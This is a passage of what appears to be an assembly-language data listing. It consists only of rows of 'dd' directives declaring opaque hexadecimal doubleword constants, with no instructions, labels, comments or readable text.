		dd 0B43290E8h, 6B0C43C4h, 64A46E1Dh, 0E28985C0h, 1E4195h
		dd 843B2FC3h, 7A15EE0Ah, 18965D00h, 0F83C2D1Dh,	0A504008Ah
		dd 73957993h, 0B2018430h, 0F316A3ABh, 0F8C310D0h, 3E4240E4h
		dd 0FF806378h, 0A34CE94Ah, 0E3A0853Ch, 920043A4h, 52F3C49Bh
		dd 37D5C9h, 44EE18E7h, 38C7DF7h, 400E34E6h, 81B2E05Fh
		dd 0C4DD2DFFh, 1E2E4BFCh, 1F275DBAh, 0B5528274h, 3AE08EBEh
		dd 6C000A91h, 1DE4C07Ah, 0C649F6h, 5DE81893h, 4639A080h
		dd 0CB94D00h, 0A6BD9957h, 3B831F44h, 0D7D1063Ah, 4A0056FCh
		dd 0F0AE95A0h, 0A3DB28h, 770C5360h, 0BCC988D7h,	0BE09D81Dh
		dd 617E878Fh, 536E89F9h, 5D17BDCh, 0FFE8CA78h, 0B1C8008Bh
		dd 307A9F5Ah, 3C762300h, 8237DE35h, 0AC810021h,	857BF1A6h
		dd 92001B0Ch, 2B8F42BCh, 0F0A92AE5h, 0C4A51F53h, 8698589h
		dd 9D578057h, 0F01FED6h, 8BED87FFh, 0C0DFAC80h,	0C2AE61h
		dd 6E74FCECh, 2A26357Bh, 765855E0h, 0F8AD0B35h,	0DD8E94h
		dd 0A4F1FEFAh, 58CC0021h, 16C4DBDFh, 3C14AB29h,	0A8423Bh
		dd 0F3642248h, 0C11018h, 9AE80A8Ch, 70A7291Bh, 0EF83C0EBh
		dd 11D4DB00h, 1C0AB516h, 31EE16F4h, 0BC0A0045h,	0EF27B250h
		dd 0A260E300h, 91F47E0Ch, 7C137102h, 433200D3h,	0CA96330Eh
		dd 99019DDDh, 0A604B681h, 7AD8DA84h, 68E10059h,	5E6EA2A5h
		dd 0BD005B23h, 4428FF9Ah, 4C4DCFh, 62A573EAh, 2359D8C0h
		dd 0B7C71900h, 0D4676F2Dh, 4C6C0024h, 12A0DDA6h, 6E004EA2h
		dd 0DB83B8D9h, 4F9E04h,	0D1272D45h, 328FBCE0h, 65A07C00h
		dd 0D23F5CDFh, 5DF700FDh, 20B8757h, 8C072174h, 0F84DC56Ch
		dd 6399B700h, 37D90733h, 0C05EC8F6h, 0B2C0C319h, 1D846B58h
		dd 49C022F5h, 0C5D22A61h, 0B1E202h, 67D9D041h, 8642720Ch
		dd 5C00947Eh, 0E74F1F0Eh, 9B6452h, 0E5CF2A27h, 9A893615h
		dd 0EC3F350Eh, 0CC08C095h, 7BCD6C7h, 0DF91DCA0h, 0E3AD9055h
		dd 0FB0012BDh, 0D399B12Ch, 2A74BB7h, 0E9D238BBh, 0D8408EF0h
		dd 0E8F64612h, 576A6F00h, 79AA4DDFh, 2E3A7B9Bh,	56F790h
		dd 0D961312Ch, 1B007659h, 352FF4D3h, 3543B9Dh, 9CAB5763h
		dd 0D5C84308h, 5100E753h, 0B5D22975h, 1CB803CCh, 0E24078h
		dd 6B2F6EACh, 5D07D884h, 0BCC2A014h, 0DA1E0270h, 0EFD5004Dh
		dd 4E8D165Bh, 7400A581h, 0CF31DB0Eh, 2E9A3Dh, 83ACF03Ch
		dd 8F2DF8C6h, 3ED12858h, 9F908740h, 504B355Eh, 0AE3F0F1Dh
		dd 5DE10D9Bh, 44DF3C6Bh, 0FF2380ADh, 73004B15h,	40F0333Eh
		dd 76438Ch, 0D730870Dh,	5978FB5Ah, 956C7900h, 6647050Ch
		dd 975D0EDEh, 801FEB2Eh, 268D5817h, 0ED580208h,	32FE0141h
		dd 3D76AA2Dh, 962AF60h,	658BADA1h, 0E0980080h, 2C01CBD5h
		dd 0B51895F7h, 0DAF4DF7Eh, 1A5F4E2h, 76FED84Dh,	0CCCA123Fh
		dd 49007AC8h, 0FC28CBAFh, 78096Fh, 0A7F9CC2Eh, 0B079A69Ch
		dd 0AAEE5000h, 7D410F43h, 57FE9Dh, 0DA4F6844h, 0ABCDFE73h
		dd 8ABBC004h, 0CB80EB43h, 5ED5CEEh, 16F9370Fh, 1B04C076h
		dd 2C07AACEh, 0E2EE51F1h, 0E8E1D817h, 22C4D940h, 0D47607A9h
		dd 60B99C46h, 3D7E53CCh, 0CE39AA09h, 814107BAh,	0B1AF6A40h
		dd 0E2164CABh, 0FB2EE72h, 0A75B4446h, 0A07184E0h, 0DE004792h
		dd 70B1765h, 98AD3Dh, 5EA9E5A3h, 6FFA5A2Ch, 8019BF00h
		dd 0D24E96E1h, 485248AEh, 3567FB0Eh, 835EA8C0h,	44070308h
		dd 1AD894C0h, 55A036F0h, 3E137F18h, 0A239B0DAh,	11FEAE80h
		dd 0C2589D1Ah, 0F4BB5300h, 7F1BDCA1h, 291E299h,	29C6A9FCh
		dd 0C0907946h, 0B300634Ch, 0DC207318h, 311268h,	9415901Ah
		dd 0CD1ECCF7h, 8C30B900h, 0EEA3CE8Fh, 83990091h, 65F11C5Ch
		dd 0F7003355h, 0BB9205BDh, 311002h, 69E2D0F8h, 76F652C3h
		dd 8812A200h, 0CEDDA019h, 0F4F5127Ch, 0EED707EAh, 0DC14E0E6h
		dd 0AC398C1Ah, 0B3A900FFh, 0DE7B729Ah, 6EB70055h, 4CCF527Eh
		dd 5B012862h, 7C39B1DCh, 8F4E1BDh, 8B480082h, 0BB83F1Fh
		dd 8400C267h, 32B3AF2Bh, 9539B5h, 93442619h, 2353F421h
		dd 790D2A05h, 5C918F59h, 0E7E06D67h, 42920FF8h,	8000815Ch
		dd 0DBCB4052h, 0A62F6918h, 0FABBA2h, 99F02ECDh,	0AD76BFF9h
		dd 0FC09E577h, 383177h,	0F62D62B8h, 0BC7A80h, 0B77F4BA4h
		dd 0D43A44E4h, 997B2B0Eh, 3FB1E015h, 173F050h, 0F4CA3F7h
		dd 0DC0E20B4h, 7481A92h, 942700B0h, 43E1F078h, 82F400A7h
		dd 1974340Bh, 3A00062Ah, 30F31CDh, 9CF849h, 0BF82EF90h
		dd 2CC16BC9h, 7E78373Eh, 0E0F67A00h, 0F19BA13h,	0CA7AD9h
		dd 0D579C484h, 0B7CB11BFh, 7EB8FF74h, 0E206A500h, 778E05DBh
		dd 6AFB057Eh, 801AF0D0h, 349A10B0h, 0FEC8C400h,	660ABF49h
		dd 0CB021h, 3CE433DFh, 48161F4Fh, 0E9C0521Ch, 95A8DC80h
		dd 9E3D36h, 72977E9Ch, 5D548760h, 456F2300h, 2A824809h
		dd 49C100CAh, 0F662E544h, 4C244FC5h, 0A52658ACh, 3BEF4700h
		dd 1FA7199h, 2B11E4A2h,	82A0B1E7h, 0CAB22211h, 7F74E0C8h
		dd 856F00CFh, 7A5FB6CCh, 7700BBB5h, 2F1E67E6h, 0A403B4h
		dd 2D020639h, 1FB31DE9h, 269C3Bh, 997ADF5Eh, 3820DDF5h
		dd 80038F64h, 183CCC84h, 0CB6D76E0h, 239260Fh, 36BAA071h
		dd 0B64CABh, 6253D4D8h,	0C46D3A23h, 1307001h, 8C03392Bh
		dd 0F8F7F4F8h, 74F6C02Dh, 669055C6h, 85C2E500h,	4FB12A77h
		dd 2471F487h, 15B58A8h,	0CC3312DAh, 8B27D825h, 0B0837200h
		dd 714C81F1h, 3DC400BEh
		dd 6961AFD2h, 0B800E731h, 0DDAEE2BCh, 905FBBh, 6DF11AB5h
		dd 1894E8F6h, 7A321D00h, 2DE3DD6Ch, 39DEC5Eh, 20CB6E22h
		dd 1FF12C73h, 1B9840B7h, 0E000A534h, 0EA64595Dh, 7D767D8h
		dd 0D3EC6EF3h, 0AF80D0DDh, 0CD1C3824h, 1B40F5B6h, 0E14D30B7h
		dd 190E24Ch, 6E59997Dh,	0F4356198h, 0DF00B289h,	0A9A4F3DDh
		dd 1C82048h, 0C3F79EF2h, 0D63CFF72h, 7C429840h,	0D4D08350h
		dd 480071ECh, 0AE208A15h, 3F84E32Dh, 1196EF56h,	0C8D2007Ah
		dd 0A3AD875Ah, 0B40A1D00h, 84ED82EEh, 72F31D8Ch, 4F050046h
		dd 4C2C2189h, 0E47C58h,	0F4DB761Fh, 7B1E4Eh, 0B1134715h
		dd 35E8FD1h, 0AB0071F6h, 54BDF3DFh, 779C2629h, 0FDC30002h
		dd 0F5E3FF60h, 6E00FBFAh, 47980A0Ch, 2E3E9CD0h,	0A9B2A6h
		dd 0DB0746E6h, 0EB16656Ch, 840069CFh, 38ACD2Ah,	0AB11017Eh
		dd 85991FEAh, 0ED5C20FBh, 579D6500h, 2A0FA37Fh,	398F063h
		dd 0EE545233h, 7298D4B7h, 0B655C192h, 324B609Ch, 6F18C27Bh
		dd 0C4498D69h, 583E25E3h, 0D640C030h, 0FE03D901h, 5EC20636h
		dd 3C3C30h, 1F044C75h, 486EF651h, 56657201h, 87BC9190h
		dd 0EEAEDCh, 5850AC84h,	76802E29h, 0C9DBF404h, 180A1E1h
		dd 777865Eh, 313AC73Eh,	52A78FD9h, 0DF501076h, 8900CB10h
		dd 0DE97022Bh, 1C5F79Fh, 47271235h, 6054DD5Ah, 5B03F568h
		dd 0F756B190h, 0CB8FC0E0h, 0BFD1E2Dh, 49CCC3EEh, 8BA0297Fh
		dd 91006C32h, 1C72ED47h, 0F2EE14h, 0F702B245h, 84E4A48Dh
		dd 9EE8E600h, 682BD975h, 6F780C1Ah, 0E4FE5DEBh,	9D6ADB05h
		dd 0FFC0971Eh, 8FB5F4h,	0F6E84A2h, 4CC4B3CDh, 182C6600h
		dd 86370632h, 0F74B00C3h, 570874ACh, 104EA0Ah, 0F6094FFAh
		dd 71E868A1h, 19350056h, 8754DB95h, 96007665h, 0DD5DD1C0h
		dd 1D46D601h, 40FD1E78h, 0ECA2F762h, 72005AE4h,	4CC75D51h
		dd 1EAF0BAh, 88C9AFE8h,	30DB4FADh, 7AF4A476h, 0B893A500h
		dd 9FD0EDD7h, 0D5FA81h,	77C3FC3Ch, 0DB5D2483h, 3A6F4205h
		dd 0D002A1FDh, 0C2CBCD7Bh, 0ED00062h, 0A023EA8Eh, 434AA3h
		dd 0FC8167C6h, 1B6057B9h, 0CE875204h, 578069A1h, 34855Eh
		dd 0E344DE77h, 0F571285Ch, 0A6040812h, 9F957101h, 0D040BA0Eh
		dd 34FFB81h, 0DF644B2Ah, 87D05EE2h, 5302AD2Ch, 20D5BB0Eh
		dd 0D7FCC038h, 6456000Fh, 0CA2E505Eh, 0F000D277h, 0F39FE761h
		dd 7E25A4Ch, 0EDDD2A1Ch, 0AEE1A059h, 0FAA0D9C7h, 0BF7CD3FDh
		dd 72040B03h, 0EA7E608h, 0C254D25Eh, 90C15C60h,	87012EC7h
		dd 0D12BBA9Eh, 0C040E00Ah, 0E0C9D026h, 0A3920C78h, 0FBB8A714h
		dd 83713D00h, 28D26EE5h, 0B8153C18h, 0C059111Eh, 0FCDA5A9Eh
		dd 9626CD06h, 5601655Dh, 8D61298Fh, 771AC2F4h, 0E2450084h
		dd 0BC66FA6Bh, 6248FEBEh, 820075C8h, 425081B5h,	0EC1A560h
		dd 86AF4364h, 40738F00h, 0B001C0B3h, 25E1A149h,	0BFC8F323h
		dd 0E31400ABh, 0A73F3213h, 0CE006806h, 619076DDh, 0B08070C7h
		dd 0B3C23D37h, 0C0501E4Bh, 98A17F0Ch, 8C024D20h, 0D96E4C7Dh
		dd 40B4E291h, 1D96FAA2h, 40740E01h, 0B3CAD5ADh,	6C481DA5h
		dd 0C191086Ch, 8B781D7Fh, 0C6099BF5h, 0C661150Fh, 301895F1h
		dd 72005961h, 0CFA362E1h, 0C71211h, 0A250F523h,	0E9D5689Ah
		dd 0ED44B100h, 0C9EF571Eh, 7BC21D3Ch, 828D0091h, 0CA14A0B7h
		dd 0D2091001h, 8E85ED8h, 0AC70C0h, 99BA81A1h, 0EAD4D33Fh
		dd 1EE9539h, 9854261Eh,	5DF8FA44h, 7C6D0B6Ah, 5FD47Bh
		dd 0C7397613h, 7870B80Fh, 39FE74D6h, 7A00ABFCh,	0DB85FBC9h
		dd 4B000DBFh, 0E5513426h, 903CD9h, 32C8D0Ch, 59952904h
		dd 795F0B04h, 17C19140h, 77603A99h, 37C23953h, 0B0800D3Dh
		dd 0DC708CF2h, 0D33E6320h, 30F88041h, 4F9B59B1h, 0F1B2002Dh
		dd 80DA1803h, 360082E8h, 0EA73064Ch, 0EA869F81h, 1853EFFh
		dd 32912202h, 0E180CF1Eh, 3AED763h, 95CD4000h, 0C0097504h
		dd 4BF300FCh, 38105F4Dh, 427032DBh, 0F77D8500h,	0A863B99Bh
		dd 83DF2621h, 17F00020h, 0C4ECDC56h, 375E2807h,	0A01E269Eh
		dd 1FC653F4h, 0FD190720h, 1059DA54h, 0DE0B90Ch,	11DC6B00h
		dd 0CFB52485h, 4FCB00A0h, 8EB36643h, 4124E1DEh,	68004B5Ch
		dd 8324D7FCh, 0BDB9003Ah, 0CF6E7752h, 9009EC6h,	76027B82h
		dd 13C3DEh, 2989EF07h, 439386Dh, 4C408B00h, 0F3B48E87h
		dd 0A7F4024Dh, 0C08A8081h, 149DD760h, 0C7C20C00h, 0DF74A8CFh
		dd 1F2E006Dh, 4BE0328Eh, 0E5079AEFh, 125E6B65h,	41BE45B0h
		dd 52C10096h, 3D99B82Bh, 0B5002A0Eh, 0DF5C0648h, 4E7A722h
		dd 6926E389h, 53AE80D0h, 8F010DCEh, 9FFD71BAh, 12C04427h
		dd 4830013h, 0D6CDB39Dh, 74CF8A2Eh, 91714023h, 0A6E71Fh
		dd 0DC7B78FBh, 10281A1Bh, 84C86800h, 0A28683D4h, 0FFF40042h
		dd 25407FE8h, 573F9899h, 0CC6B8079h, 0FBB51D13h, 0F917077Bh
		dd 4375DCE0h, 0E901041h, 0B70367CAh, 19D1AD03h,	0D060A74Dh
		dd 0FCEAA3Ah, 0D5CFBF1Eh, 1D8DE760h, 3F059224h,	0F2EAB7B5h
		dd 80BBE01Dh, 0CD1A5509h, 0BEA9E3h, 1302B891h, 0D3362AD0h
		dd 0CCA34907h, 9009763h, 834B17h, 45D8A915h, 817AC2A0h
		dd 0F10046FEh, 37B66239h, 48233E05h, 6000503Fh,	20F84870h
		dd 1B3DF7F1h, 0B5D81CBAh, 35A12A80h, 0B88C4190h, 23B8004Ch
		dd 0FD3D2CB4h, 0DD00DC06h, 3CF84C1Bh, 357112Ah,	0FE9ED00Bh
		dd 0B6C06BF9h, 13386546h, 298A0043h, 0CFAC9A66h, 60DA00A1h
		dd 6C0E58B2h, 8D1C4E38h, 8B416763h, 5B5936C4h, 9CE8260h
		dd 78327903h, 3E89D800h, 133C10D5h, 2D4C801Ch, 0DFEEF6F9h
		dd 9DE900FCh, 488C3804h, 361DC2EAh, 0C800BE30h,	51F5D537h
		dd 0AA6A0034h, 2CF26288h, 5824669Dh, 0F700DC38h, 1E4E087Eh
		dd 0BD30003h, 4D600110h, 8C00AFD9h, 0DDAE2C83h,	0EAC31Dh
		dd 0A4F28B24h, 0E3ECBECh, 0EBA01450h, 1C61B43Bh, 0AC80AD1Eh
		dd 2912A708h, 6C0D007Eh, 0D8EB7CFFh, 84003909h,	73CF2350h
		dd 186D90h, 1E61A664h, 0C403DB15h, 0F98B201Fh, 8D6FC040h
		dd 7EBA730Ah, 0FD683AB9h, 1B33A500h, 0C61ADD82h, 80F58C3Bh
		dd 0FEC04EB3h, 6070EC85h, 430B900Fh, 104CE616h,	0B8E20048h
		dd 0F4C4C36Ah, 50A4005Bh, 9A6CCAB4h, 0A20FD1AFh, 2041E601h
		dd 26841B9Ch, 63B71E18h, 2E800F15h, 96E452A0h, 3B004231h
		dd 2D9A1FBAh, 0CD1739h,	22345DA1h, 0C29362B2h, 915639h
		dd 0BE9B5778h, 0A701BFh, 82EC2BD4h, 47C343Eh, 0DF3C9303h
		dd 0ABC5A112h, 0C2B9A90Ah, 1E66B5E8h, 7F21Ah, 50ABDCE6h
		dd 0E00CB6Ah, 0BB32EC18h, 3C4BCC1Eh, 0F080B752h, 0E1C52DDFh
		dd 8A004244h, 49824EC8h, 0C184FCh, 6F6EA7BFh, 2E3207E4h
		dd 61267F07h, 10806933h, 79B80Dh, 9B52516Ch, 5A03F0FFh
		dd 88305001h, 1315CA4Eh, 3531D0h, 0CFD8491Ch, 64C66EF2h
		dd 8175FCA0h, 0B50F2676h, 20C87EF3h, 0B051CB2Ah, 0AB3539D0h
		dd 4A4116h, 73886A21h, 71013A11h, 30046BB9h, 0E540B279h
		dd 58CD0DFCh, 0F401A051h, 0D2183990h, 5F7F87Fh,	8A502700h
		dd 0C92B1546h, 68A0020Dh, 71DBBED6h, 0D0009663h, 0C140C4ADh
		dd 0AC9D6Ah, 161FE2B6h,	0E89B2B60h, 8D73D0B8h, 0BF0058E4h
		dd 0CF84517Fh, 3BED2F05h, 0BB80B7B9h, 0F541146Ch, 0A43C081Fh
		dd 7E200C31h, 7D7B6093h, 0A37200D3h, 0EA075C8Dh, 5A00491Eh
		dd 0F7C3F3DFh, 1C6206F1h, 0FB5E46h, 71F57267h, 0B4980587h
		dd 0CBE91907h, 939EF640h
		dd 0D0C05800h, 0EA854E89h, 930100B9h, 3E5AFB6Ah, 33008C17h
		dd 4D428B15h, 0BC2BC5h,	73213BF9h, 6B784BD1h, 46ABE100h
		dd 6EAEA316h, 4E82002Eh, 1FE31BE8h, 3001A9BBh, 0BDE76FC7h
		dd 40707FE2h, 74FAC5h, 84AC458Ch, 0B490183Fh, 0F2F56A07h
		dd 0DC209ACFh, 7A1EBEEh, 397CA35Fh, 849FE042h, 7400A009h
		dd 64D7759Ah, 0F8D29E8h, 59F1D3A3h, 0FA53BD00h,	6F04F8CFh
		dd 0ABDD2A44h, 0BCF63080h, 188E0058h, 89B28D7Ch, 0CEF4AE9Eh
		dd 80623A00h, 0BD2DED08h, 0CDB0E01h, 80FF6B32h,	0E4EE3CCh
		dd 791D7A20h, 840134Ah,	9BD88330h, 0C87D005Bh, 0FBCF9C3Ch
		dd 0A50F76B0h, 0D401D29Fh, 2B060ED6h, 0D33CE0E8h, 0E4DA16F9h
		dd 3C9E48D5h, 0BB108301h, 0DCCAAFD0h, 32005C2Ah, 5E2CF804h
		dd 51B72325h, 77D4F48Fh, 0F48D071Ah, 0A041AB7Ch, 5A2B9475h
		dd 26D63600h, 734C4E0Bh, 55D9001Fh, 7D042A5Eh, 1C0032FFh
		dd 3B61E7F2h, 50A9916h,	0F1AAB365h, 8590904Bh, 930020CCh
		dd 495FDDD2h, 5033A6Dh,	8BFFC5F1h, 0B99880C2h, 403A8EEAh
		dd 7DD683C9h, 0C091FCh,	0BE47058h, 0E678D704h, 0D460CE01h
		dd 648E3FD5h, 5367420h,	307F350Ah, 226000B9h, 6D753169h
		dd 93A4B338h, 0F01D430Dh, 833C0538h, 0CCC07FC8h, 906E3133h
		dd 1DB0E674h, 0C972DDB3h, 9480DAA4h, 0E1B6F5CEh, 2D0F167Ah
		dd 0B4532A11h, 203700BAh, 395B5EE0h, 0BE1500D2h, 75F884B8h
		dd 0D17C7705h, 0BDEB3400h, 21E0D3BFh, 0CFCA0038h, 7062AF2Ch
		dd 6007922h, 9DE27183h,	3D01E35Dh, 551E782Bh, 0E7526A2h
		dd 6B0033A7h, 0C9E94F88h, 0B7803500h, 0A977555h, 0F1C000FCh
		dd 0DA5AA7BDh, 6500D63Dh, 274B1993h, 66C59Ah, 0A8225F38h
		dd 539BD9E6h, 0E3E5D000h, 14B35967h, 748E079Ah,	67EC4DE2h
		dd 6AF0A007h, 430047ACh, 0B7558FA7h, 0F947CD1h,	51A5750Ah
		dd 58D271C0h, 900789Dh,	8EFA431Bh, 392C236h, 6A41F853h
		dd 0D3B04E2Eh, 0C61C5F40h, 0E2C17456h, 0DCC8AB68h, 3ED6ECF4h
		dd 0B9803DC1h, 0F1CF6A5Ch, 7C00602Bh, 0E79EC396h, 0F4FDEBF3h
		dd 0D193002Eh, 2655566Dh, 0CE005210h, 0CD12F192h, 7A31BD27h
		dd 14B6000Dh, 0A188B884h, 9E173946h, 10037603h,	0D8163602h
		dd 0FAAFD1A6h, 0B250077Ah, 301021F0h, 0AAD2C84h, 0F1429307h
		dd 1CB4770h, 22BD3628h,	963DAD4h, 874FB82Ch, 0AD92CE80h
		dd 0E107C770h, 4E562B5Fh, 552499A0h, 343226E9h,	434984F0h
		dd 17D7C02Fh, 0FD24DDBAh, 1D5E48C1h, 0DF49B259h, 0B4948046h
		dd 0D0B11F4Eh, 50551309h, 94A3D865h, 51A60020h,	0EF477627h
		dd 0AA1ACA00h, 0F839151Bh, 7852027Dh, 14989D90h, 83B0C8C0h
		dd 1D03C9EEh, 0BA23CD36h, 85CF081h, 0B750003Eh,	0D7F8AE1Bh
		dd 5600C10Ah, 2FB31E96h, 3C09170Ch, 8980F791h, 181DEB70h
		dd 11004DE0h, 745362EFh, 723E837Ch, 70930CCAh, 0B7A8108h
		dd 3B4B2D03h, 951B2E6Bh, 16FA71C0h, 5FEB00A4h, 0E2DD41E0h
		dd 0C8E46B56h, 59323100h, 4C9D1DE6h, 0CDB00337h, 0AE016A5Dh
		dd 0FE658080h, 4415FF00h, 408B0D43h, 0CC4100F4h, 3B551BDDh
		dd 491C3A5Fh, 8F170AEAh, 0BA6205ABh, 6CF4805Bh,	4600B3E7h
		dd 0BBF11FEEh, 0BF7973h, 356AFE51h, 1669B49Fh, 60E1F303h
		dd 0F8102843h, 68BA79h,	0AF0D9EDBh, 51067F95h, 3B045E75h
		dd 4DC53440h, 8764DCh, 15FB42FEh, 0A5068ECFh, 20C0EF76h
		dd 0A2E69AAEh, 8FBF008Ah, 7CD81A7Dh, 0C000D110h, 95C15408h
		dd 139CC486h, 0BD502Ah,	0FA654574h, 6A3C58CDh, 663E0041h
		dd 992DA998h, 3BC5002Eh, 70176862h, 0A22E9610h,	0A30E97DEh
		dd 5AC30745h, 736E14E0h, 3D38E4B2h, 731B61h, 73A842Fh
		dd 2A921A46h, 282BE17h,	0B9377400h, 1D305CA1h, 0C0F71FABh
		dd 0D5A2DAD0h, 450028B7h, 0B8CC9AA0h, 0EDF636Fh, 6BEBB9F9h
		dd 7910C440h, 0DC0043B7h, 0CDA798E8h, 643D94h, 0AFB9FA26h
		dd 185ACEE5h, 809EA43Eh, 0C14190C4h, 1A01E5Bh, 0D96D9C05h
		dd 70D64CFEh, 900102Eh,	8D5F3D95h, 1F87DF75h, 61CDDBh
		dd 2F18743Ah, 0E0004D19h, 553BE785h, 1CD33014h,	415ADD94h
		dd 2A62A760h, 7795C8E0h, 0A400E176h, 9206F40Eh,	0E25ADA0h
		dd 8C381F7Ah, 0A39A8DE0h, 6E002A67h, 16BCBEECh,	730BC06Ch
		dd 224E0048h, 0EEE96DF6h, 82FB9D07h, 695DF830h,	0E566050h
		dd 2699715Fh, 0D5FAE2h,	1482E31Ch, 8CE29C2Dh, 3DA1D500h
		dd 0B45AF426h, 0C5000A6h, 2ED0D95Dh, 2100DE86h,	3F44ADCBh
		dd 2D5533D1h, 0C1D0B1EFh, 240098F4h, 0A0BC180Dh, 254AF878h
		dd 7880602Fh, 0D202B732h, 9376CC05h, 2480A34Ch,	58F2C8E4h
		dd 4A00435Bh, 242FC08Ah, 0A7039E49h, 0D060F7F3h, 0E8BDF33Ah
		dd 7BEBDDD3h, 23E300F1h, 0EEAAC79Ch, 5E603795h,	968F7F60h
		dd 708A60FEh, 28C9369h,	8BF29801h, 0FF94F87h, 38F2FF0h
		dd 0CA23168Dh, 7FC09390h, 141CC28Ch, 124FA920h,	0C460609Eh
		dd 0FBF7BCh, 0EEBE0C06h, 8D5D9F5Bh, 5E4B6806h, 69915Ah
		dd 80CE4C32h, 8E8C06ACh, 830CAD98h, 218BA857h, 9F3D8026h
		dd 1AA9010Ch, 6EB31889h, 68202177h, 1BFA18Ch, 0EEAD2200h
		dd 38F44EABh, 2F620018h, 83DCF344h, 0E70016F8h,	0CF2B7D11h
		dd 3203B92h, 68BF2907h,	30005F05h, 9ED94047h, 0A87C02h
		dd 46FD0C9Fh, 69A11D73h, 4401F373h, 0EFE80562h,	0F2D002CEh
		dd 55BC0008h, 0E6CCF652h, 4707540Bh, 0AFC1050Ch, 5040C2D7h
		dd 0AB959Bh, 31455CD8h,	0EB3D48F2h, 4430600h, 2993D366h
		dd 5AAC00AFh, 46B42163h, 8900C188h, 75875FC0h, 1A6BB08h
		dd 0B0D69144h, 0DC03ABBCh, 8E004A89h, 20E80B2Bh, 0FE848576h
		dd 0EF190039h, 8104677Ch, 9E00F2D4h, 0ED0CF769h, 7E53E70h
		dd 9F599341h, 0CC86D06Eh, 5F73E04Fh, 0CB00757Ch, 46C86F20h
		dd 1CF36C9Bh, 40B478AFh, 0F166ADB5h, 97ECE653h,	0E2000E74h
		dd 5A89DEF9h, 2A14FEh, 7958DB4Bh, 0F817F06Bh, 96BD2B00h
		dd 0FD268788h, 33B94CA2h, 4A4077Dh, 80BA28C0h, 5DB74D41h
		dd 12B0DC00h, 0FA019C78h, 0DEEE001Ah, 0B833950Ah, 690013A8h
		dd 0D6C65203h, 0E853AAh, 0C81FE4B9h, 6DFEF1B5h,	75C7B100h
		dd 489CF541h, 0BA360118h, 170BCBF3h, 741DE49Eh,	10843F01h
		dd 43EA31Bh, 0A060C3D9h, 73A100DFh, 2F145E2Eh, 2B00A783h
		dd 7A91A5CEh, 13142B8h,	17E0C7A8h, 0CC7FDC88h, 0A40E801Ah
		dd 60F73987h, 8FC35922h, 0EC7AE8h, 0BC882AE3h, 73DD7892h
		dd 356B002h, 84C6A438h,	8CB468E0h, 7A6B009Dh, 58408884h
		dd 0BB02B6FFh, 8DCD72F6h, 0E0AC4333h, 0E231E32h, 1BE7FC41h
		dd 870995A4h, 0D6A99045h, 0D71E016Ch, 5C00E66Eh, 0E7C785CBh
		dd 0F1F43EC4h, 29599501h, 0CCA23CC9h, 0A1166C14h, 2042DB8h
		dd 0C80D561h, 90C6EB0h,	7F595873h, 0C3B51A80h, 45E443BEh
		dd 5E03400h, 0DF4A980h,	232F00F7h, 0BBB22D9Eh, 0CF7845DCh
		dd 77677200h, 0DE62A2F3h, 0F8E700D6h, 6016B209h, 2B006C0Eh
		dd 9B8B919Eh, 0B0F650h,	7C7DAA31h, 240603DEh, 0EA08B100h
		dd 0D7B3F31Eh, 0CEE8DFh, 0AD7A636Ch, 3D36D0BFh,	0B84B5900h
		dd 255DCC46h, 0B24B98h,	68BE1658h, 43014F88h, 130D9F12h
		dd 0B760D9B0h, 0EF9400FCh, 7A08EEBAh, 51E2C06Eh, 0E3C93000h
		dd 336824Bh, 0F40B0077h, 0E99F1ECCh, 6D07D2A4h,	0AADFD9F7h
		dd 60BA25E0h, 0DC6907CBh, 60D60335h, 3B1BD438h,	0E132901Ch
		dd 0B7D0B040h, 0A0EFF2C4h
		dd 7E1E75D0h, 0C6B60716h, 0F096BA93h, 0B24A6069h, 49A3D200h
		dd 0B3EC3F5Ah, 0FE560013h, 7FB0E01Ah, 84ABF246h, 0CECBF490h
		dd 2F3AE307h, 0CDA0229Fh, 87B368h, 7C1F8635h, 33E4FC36h
		dd 0C5E0B601h, 0C138CC7Fh, 5E1C8832h, 0FFE480D0h, 0D103BC4Fh
		dd 0CC4BF302h, 81C72DE8h, 4C290ABDh, 103894F5h,	7A1D5100h
		dd 15B7EA80h, 6711AC00h, 60CB7925h, 0CA07003Ch,	0BDE32C61h
		dd 0B70C9E44h, 0B1A79417h, 6B7740h, 0FE450FEDh,	6F645B60h
		dd 433ED300h, 3D2B61E7h, 55DA0004h, 516CF59h, 0A101C0A9h
		dd 0CECFEE6h, 0D1F5B690h, 0D60ECCh, 0C405E329h,	4D7D5449h
		dd 8B07AF00h, 79A5BCFFh, 716900C8h, 286DEF39h, 0D7007277h
		dd 0FAFFBF3Fh, 0EBA5606h, 0D6A02AA1h, 2C5DEA60h, 0A8094EB2h
		dd 0E0CDF6h, 0C55C2ADh,	77F57D0Dh, 9B4B0061h, 0A47E4745h
		dd 0D33890C7h, 94CA921Eh, 75683004h, 7A0EE0A4h,	1F9F070h
		dd 25DC84C5h, 0D84FA0E9h, 120EE80Dh, 40B4853Dh,	0DE51BAA6h
		dd 0B82A73B7h, 5FEA002Ah, 3278A44Ah, 677B4D82h,	3B1F4E7Fh
		dd 0B4C0FFD0h, 0AF084C2Fh, 0DD30710h, 0D01D82D1h, 6ECE68C6h
		dd 28B61A00h, 84D40B4Dh, 7B081E80h, 347400E8h, 0F8FF8D1Fh
		dd 0E7F22900h, 0AD411931h, 0AEC1C0CCh, 98761102h, 0DC9EDF7Bh
		dd 5E8A0900h, 3ADC1B39h, 8D80D896h, 8FB613C2h, 97005949h
		dd 0F21FC512h, 9AD96Ch,	0D6C8FD2Fh, 9883A5D2h, 9D800D00h
		dd 356215F5h, 5F8500D5h, 41CC5088h, 0FA09B743h,	20271AACh
		dd 9BC971DCh, 174C9021h, 61B3D6h, 0D48642E7h, 0B7703F2Ch
		dd 75312E1Eh, 76BE1300h, 1DF320FDh, 9EA558F6h, 4B3C8009h
		dd 26B1F906h, 66559E12h, 4D56C000h, 1BBD91h, 18D78A59h
		dd 1EC7709h, 0CFB39A01h, 0FCD1600Bh, 36FED0h, 0BD3B7E7Dh
		dd 1F2CD290h, 7545CA26h, 33A46903h, 0FE38B036h,	63110073h
		dd 5EF66FD1h, 0EDE4F7A9h, 5DE74500h, 796A0B7Bh,	19300C9h
		dd 4ABF5716h, 2FF8D4B4h, 0A5E10400h, 307E17FBh,	0B5BD00ADh
		dd 0E8F18A46h, 2E007ADFh, 2CA280FCh, 181B5Eh, 69431E65h
		dd 0E5CB6438h, 0A46DE700h, 56165A9Ch, 223309F1h, 48506EF5h
		dd 0B1C4C500h, 0E404052Dh, 0BF9E0761h, 502C5298h, 62AADB1Fh
